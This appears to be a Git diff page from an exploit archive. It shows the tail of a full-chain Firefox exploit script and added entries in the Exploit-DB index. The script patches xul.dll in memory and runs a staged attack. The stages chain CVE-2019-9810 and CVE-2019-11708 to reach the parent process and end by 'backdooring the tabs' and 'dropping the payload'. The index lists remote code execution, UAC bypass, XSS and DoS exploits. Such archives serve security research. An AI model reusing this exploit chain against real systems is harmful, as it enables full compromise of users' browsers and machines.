// FATAL ERROR: Non-local network connections are disabled and a connection attempt to google.com (172.217.14.206) was made.
|
||||
// You should only access hostnames available via the test networking proxy
|
||||
// (if running mochitests) or from a test-specific httpd.js server (if running
|
||||
// xpcshell tests). Browser services should be disabled or redirected to a local
|
||||
// server.
|
||||
// (4014.82c): Break instruction exception - code 80000003 (first chance)
|
||||
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe92:
|
||||
// 00007ff9`69a66372 cc int 3
|
||||
//
|
||||
// Here is the disasembly before:
|
||||
//
|
||||
// 0:062> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
|
||||
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
|
||||
// 00007ff9`3f9c55c6 8b0d0cc7ff04 mov ecx,dword ptr [xul!disabledForTest (00007ff9`449c1cd8)]
|
||||
// 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh
|
||||
// 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
|
||||
// 00007ff9`3f9c55d1 488d0ddaa3df04 lea rcx,[xul!`string' (00007ff9`447bf9b2)]
|
||||
//
|
||||
// And after:
|
||||
//
|
||||
// 0:068> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6
|
||||
// xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]:
|
||||
// 00007ff9`3f9c55c6 90 nop
|
||||
// 00007ff9`3f9c55c7 90 nop
|
||||
// 00007ff9`3f9c55c8 90 nop
|
||||
// 00007ff9`3f9c55c9 4831c9 xor rcx,rcx
|
||||
// 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh
|
||||
// 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1)
|
||||
//
|
||||
// 0:051> ? xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 - xul
|
||||
// Evaluate expression: 1529286 = 00000000`001755c6
|
||||
//
|
||||
|
||||
const PatchOffset = 0x001755c6n;
|
||||
const XulBase = BigInt(GetModuleHandleA('xul.dll').toString());
|
||||
const PatchAddress = XulBase + PatchOffset;
|
||||
const PatchContent = [0x90, 0x90, 0x90, 0x48, 0x31, 0xc9];
|
||||
PatchCode(PatchAddress, PatchContent);
|
||||
}
|
||||
|
||||
function Main(Route) {
|
||||
|
||||
//
|
||||
// One way to tell if we were successful with our data corruption is by checking
|
||||
// if we have access to the PrivilegeManager. If we do, it means we are running
|
||||
// with a privileged context, if not we don't.
|
||||
//
|
||||
|
||||
const RunningFromPrivilegedJS = window.netscape.security.PrivilegeManager != undefined;
|
||||
if(Route == '?stage1') {
|
||||
|
||||
//
|
||||
// If we are asked to run stage1 with access to a privileged context, we skip
|
||||
// it and move on to stage2.
|
||||
//
|
||||
|
||||
if(RunningFromPrivilegedJS) {
|
||||
return Main('?stage2');
|
||||
}
|
||||
|
||||
//
|
||||
// Stage1 exploits CVE-2019-9810 and performs a data corruption attack to access
|
||||
// a privileged JS context.
|
||||
//
|
||||
|
||||
if(!ExploitCVE_2019_9810()) {
|
||||
console.log('Failed :(');
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// Once we are done with the data corruption, we refresh the page to get access
|
||||
// to the privileged JS context. Moving on to stage2 \o/.
|
||||
//
|
||||
|
||||
location.replace(`${location.origin}/?stage2`);
|
||||
}
|
||||
|
||||
if(Route == '?stage2') {
|
||||
|
||||
//
|
||||
// At this point we expect to have access to a privileged JS context.
|
||||
// If we don't it's probably bad news, so we'll just bail.
|
||||
//
|
||||
|
||||
if(!RunningFromPrivilegedJS) {
|
||||
alert('problem');
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// Turn on privileges so that we can access the `Components` object.
|
||||
//
|
||||
|
||||
window.netscape.security.PrivilegeManager.enablePrivilege('doar-e');
|
||||
|
||||
|
||||
//
|
||||
// Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket
|
||||
// to avoid the Firefox being unhappy.
|
||||
//
|
||||
|
||||
PatchInitiateSocket()
|
||||
|
||||
//
|
||||
// Now that we have access to the privileged context, we are also able to talk
|
||||
// over the frame message manager IPC and trigger CVE-2019-11708 to escape the
|
||||
// exploit the parent process.
|
||||
//
|
||||
|
||||
TriggerCVE_2019_11708();
|
||||
}
|
||||
|
||||
if(Route == '?stage3') {
|
||||
|
||||
//
|
||||
// We should now be running in the broker which means we can exploit CVE-2019-9810
|
||||
// to perform the same attack than in stage1 but this time in the parent process.
|
||||
//
|
||||
|
||||
if(!ExploitCVE_2019_9810()) {
|
||||
console.log('Elevation failed, closing the window.');
|
||||
window.close();
|
||||
}
|
||||
|
||||
//
|
||||
// If we are successful it means that by refreshing the page, we should have
|
||||
// access to the privileged JS context from the parent process.
|
||||
// This basically means full compromise and we move on to backdooring the tabs,
|
||||
// as well as dropping the payload.
|
||||
//
|
||||
|
||||
location.replace(`${location.origin}/?final`);
|
||||
}
|
||||
|
||||
if(Route == '?final') {
|
||||
|
||||
//
|
||||
// All right, we start of by turning on privileges so that we can access `Components`
|
||||
// & cie.
|
||||
//
|
||||
|
||||
window.netscape.security.PrivilegeManager.enablePrivilege('doar-e');
|
||||
|
||||
//
|
||||
// Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket
|
||||
// to avoid the Firefox being unhappy.
|
||||
//
|
||||
|
||||
PatchInitiateSocket()
|
||||
|
||||
//
|
||||
// We've worked hard to get here and it's time to drop the goodies :).
|
||||
//
|
||||
|
||||
Payload();
|
||||
}
|
||||
}
|
||||
|
||||
function Onload() {
|
||||
if(location.search != '') {
|
||||
Main(location.search);
|
||||
}
|
||||
}
|
||||
|
|
@ -6616,6 +6616,7 @@ id,file,description,date,author,type,platform,port
|
|||
47727,exploits/windows/dos/47727.py,"SpotAuditor 5.3.2 - 'Name' Denial of Service",2019-11-29,ZwX,dos,windows,
|
||||
47728,exploits/windows/dos/47728.py,"Nsauditor 3.1.8.0 - 'Name' Denial of Service (PoC)",2019-12-02,SajjadBnd,dos,windows,
|
||||
47732,exploits/windows/dos/47732.py,"Nsauditor 3.1.8.0 - 'Key' Denial of Service (PoC)",2019-12-02,SajjadBnd,dos,windows,
|
||||
47757,exploits/hardware/dos/47757.py,"Omron PLC 1.0.0 - Denial of Service (PoC)",2019-12-09,n0b0dy,dos,hardware,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -10828,6 +10829,11 @@ id,file,description,date,author,type,platform,port
|
|||
47746,exploits/windows/local/47746.txt,"NETGATE Data Backup 3.0.620 - 'NGDatBckpSrv' Unquoted Service Path",2019-12-05,ZwX,local,windows,
|
||||
47747,exploits/windows/local/47747.txt,"Amiti Antivirus 25.0.640 - Unquoted Service Path",2019-12-05,ZwX,local,windows,
|
||||
47751,exploits/windows/local/47751.py,"Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite",2019-12-06,"Peter Lapp",local,windows,
|
||||
47752,exploits/windows_x86-64/local/47752.js,"Mozilla FireFox (Windows 10 x64) - Full Chain Client Side Attack",2019-12-07,"Axel Souchet",local,windows_x86-64,
|
||||
47753,exploits/windows/local/47753.md,"Microsoft Windows - Multiple UAC Protection Bypasses",2019-12-08,valen,local,windows,
|
||||
47754,exploits/windows/local/47754.py,"Microsoft Windows - 'WSReset' UAC Protection Bypass (Registry)",2019-09-02,valen,local,windows,
|
||||
47755,exploits/windows/local/47755.c,"Microsoft Windows 10 - 'WSReset' UAC Protection Bypass (propsys.dll)",2019-09-20,valen,local,windows,
|
||||
47759,exploits/windows/local/47759.py,"SpotAuditor 5.3.2 - 'Base64' Local Buffer Overflow (SEH)",2019-12-09,"Kirill Nikolaev",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -42061,3 +42067,8 @@ id,file,description,date,author,type,platform,port
|
|||
47744,exploits/hardware/webapps/47744.txt,"Cisco WLC 2504 8.9 - Denial of Service (PoC)",2019-12-04,SecuNinja,webapps,hardware,
|
||||
47745,exploits/php/webapps/47745.txt,"OwnCloud 8.1.8 - Username Disclosure",2019-12-04,"Daniel Moreno",webapps,php,
|
||||
47748,exploits/windows/webapps/47748.py,"Broadcom CA Privilged Access Manager 2.8.2 - Remote Command Execution",2019-12-05,"Peter Lapp",webapps,windows,
|
||||
47756,exploits/php/webapps/47756.txt,"Snipe-IT Open Source Asset Management 4.7.5 - Persistent Cross-Site Scripting",2019-12-09,"Metin Yunus Kandemir",webapps,php,
|
||||
47758,exploits/php/webapps/47758.txt,"PRO-7070 Hazır Profesyonel Web Sitesi 1.0 - Authentication Bypass",2019-12-09,"Ahmet Ümit BAYRAM",webapps,php,
|
||||
47760,exploits/hardware/webapps/47760.py,"Yachtcontrol Webapplication 1.0 - Unauthenticated Remote Code Execution",2019-12-09,Hodorsec,webapps,hardware,
|
||||
47761,exploits/php/webapps/47761.py,"Alcatel-Lucent Omnivista 8770 - Remote Code Execution",2019-12-09,0x1911,webapps,php,
|
||||
47762,exploits/java/webapps/47762.txt,"Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting",2019-12-09,omurugur,webapps,java,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue